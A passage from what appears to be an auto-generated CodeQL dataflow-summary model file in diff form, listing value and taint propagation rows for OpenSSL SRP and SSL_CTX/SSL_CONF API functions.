BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*4]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SRP_Calc_u", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_u", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_u_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_u_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_VBASE_add0_user", "(SRP_VBASE *,SRP_user_pwd *)", "", "Argument[*1]", "Argument[*0].Field[**users_pwd].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_add0_user", "(SRP_VBASE *,SRP_user_pwd *)", "", "Argument[*1]", "Argument[*0].Field[**users_pwd].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_add0_user", "(SRP_VBASE *,SRP_user_pwd *)", "", "Argument[1]", "Argument[*0].Field[**users_pwd].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_add0_user", "(SRP_VBASE *,SRP_user_pwd *)", "", "Argument[1]", "Argument[*0].Field[**users_pwd].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_get1_by_user", "(SRP_VBASE *,char *)", "", "Argument[*1]", "ReturnValue[*].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_get1_by_user", "(SRP_VBASE *,char *)", "", "Argument[1]", "ReturnValue[*].Field[**id]", "taint", "dfc-generated"] + - ["", "", True, "SRP_VBASE_get_by_user", "(SRP_VBASE *,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SRP_VBASE_get_by_user", "(SRP_VBASE *,char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SRP_VBASE_new", "(char *)", "", "Argument[*0]", "ReturnValue[*].Field[**seed_key]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_new", "(char *)", "", "Argument[0]", "ReturnValue[*].Field[**seed_key]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Verify_A_mod_N", "(const BIGNUM *,const BIGNUM *)", "", "Argument[*0].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "SRP_Verify_B_mod_N", "(const BIGNUM *,const BIGNUM *)", "", "Argument[*0].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[*4]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[*5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[4]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_BN", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *)", "", "Argument[*4]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "SRP_create_verifier_BN", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *)", "", "Argument[*5]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SRP_create_verifier_BN", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_BN_ex", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "SRP_create_verifier_BN_ex", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SRP_create_verifier_BN_ex", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set0_sv", "(SRP_user_pwd *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set0_sv", "(SRP_user_pwd *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**v]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set0_sv", "(SRP_user_pwd *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*s]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set0_sv", "(SRP_user_pwd *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*v]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set1_ids", "(SRP_user_pwd *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set1_ids", "(SRP_user_pwd *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**info]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set1_ids", "(SRP_user_pwd *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**id]", "taint", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set1_ids", "(SRP_user_pwd *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[**info]", "taint", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set_gN", "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**g]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set_gN", "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**N]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set_gN", "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*g]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set_gN", "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*N]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_description", "(const SSL_CIPHER *,char *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_description", "(const SSL_CIPHER *,char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_bits", "(const SSL_CIPHER *,int *)", "", "Argument[*0].Field[*alg_bits]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_bits", "(const SSL_CIPHER *,int *)", "", "Argument[*0].Field[*strength_bits]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_id", "(const SSL_CIPHER *)", "", "Argument[*0].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_name", "(const SSL_CIPHER *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_name", "(const SSL_CIPHER *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_protocol_id", "(const SSL_CIPHER *)", "", "Argument[*0].Field[*id]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_standard_name", "(const SSL_CIPHER *)", "", "Argument[*0].Field[**stdname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_standard_name", "(const SSL_CIPHER *)", "", "Argument[*0].Field[*stdname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get0_name", "(const SSL_COMP *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get0_name", "(const SSL_COMP *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get_id", "(const SSL_COMP *)", "", "Argument[*0].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get_name", "(const COMP_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get_name", "(const COMP_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_set0_compression_methods", "(stack_st_SSL_COMP *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_set0_compression_methods", "(stack_st_SSL_COMP *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_clear_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_clear_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_clear_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set1_prefix", "(SSL_CONF_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**prefix]", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set1_prefix", "(SSL_CONF_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**prefix]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_ssl", "(SSL_CONF_CTX *,SSL *)", "", "Argument[1]", "Argument[*0].Field[*ssl]", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_ssl_ctx", "(SSL_CONF_CTX *,SSL_CTX *)", "", "Argument[1]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd", "(SSL_CONF_CTX *,const char *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[**2]", "Argument[***2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[*2]", "Argument[***2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[2]", "Argument[***2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_value_type", "(SSL_CONF_CTX *,const char *)", "", "Argument[*0].Field[*prefixlen]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_value_type", "(SSL_CONF_CTX *,const char *)", "", "Argument[*0].Field[*prefixlen]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_value_type", "(SSL_CONF_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_add_session", "(SSL_CTX *,SSL_SESSION *)", "", "Argument[0]", "Argument[*1].Field[*owner]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_callback_ctrl", "(SSL_CTX *,int,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_clear_options", "(SSL_CTX *,uint64_t)", "", "Argument[*0].Field[*options]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_clear_options", "(SSL_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*options]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_ct_is_enabled", "(const SSL_CTX *)", "", "Argument[*0].Field[*ct_validation_callback]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_clear_flags", "(SSL_CTX *,unsigned long)", "", "Argument[*0].Field[*dane].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_clear_flags", "(SSL_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_mtype_set", "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)", "", "Argument[*1]", "Argument[*0].Field[*dane].Field[***mdevp]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_mtype_set", "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[**mdevp]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_mtype_set", "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)", "", "Argument[2]", "Argument[*0].Field[*dane].Field[*mdmax]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_mtype_set", "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)", "", "Argument[3]", "Argument[*0].Field[*dane].Field[**mdord]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_set_flags", "(SSL_CTX *,unsigned long)", "", "Argument[*0].Field[*dane].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_set_flags", "(SSL_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_CA_list", "(const SSL_CTX *)", "", "Argument[*0].Field[**ca_names]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_CA_list", "(const SSL_CTX *)", "", "Argument[*0].Field[*ca_names]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_client_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_client_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_client_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_ctlog_store", "(const SSL_CTX *)", "", "Argument[*0].Field[**ctlog_store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_ctlog_store", "(const SSL_CTX *)", "", "Argument[*0].Field[*ctlog_store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_param", "(SSL_CTX *)", "", "Argument[*0].Field[**param]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_param", "(SSL_CTX *)", "", "Argument[*0].Field[*param]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_security_ex_data", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_security_ex_data", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_security_ex_data", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_server_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_server_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_server_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_cert_store", "(const SSL_CTX *)", "", "Argument[*0].Field[**cert_store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_cert_store", "(const SSL_CTX *)", "", "Argument[*0].Field[*cert_store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ciphers", "(const SSL_CTX *)", "", "Argument[*0].Field[**cipher_list]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ciphers", "(const SSL_CTX *)", "", "Argument[*0].Field[*cipher_list]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_client_CA_list", "(const SSL_CTX *)", "", "Argument[*0].Field[**client_ca_names]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_client_CA_list", "(const SSL_CTX *)", "", "Argument[*0].Field[*client_ca_names]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_client_cert_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*client_cert_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_default_passwd_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*default_passwd_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_default_passwd_cb_userdata", "(SSL_CTX *)", "", 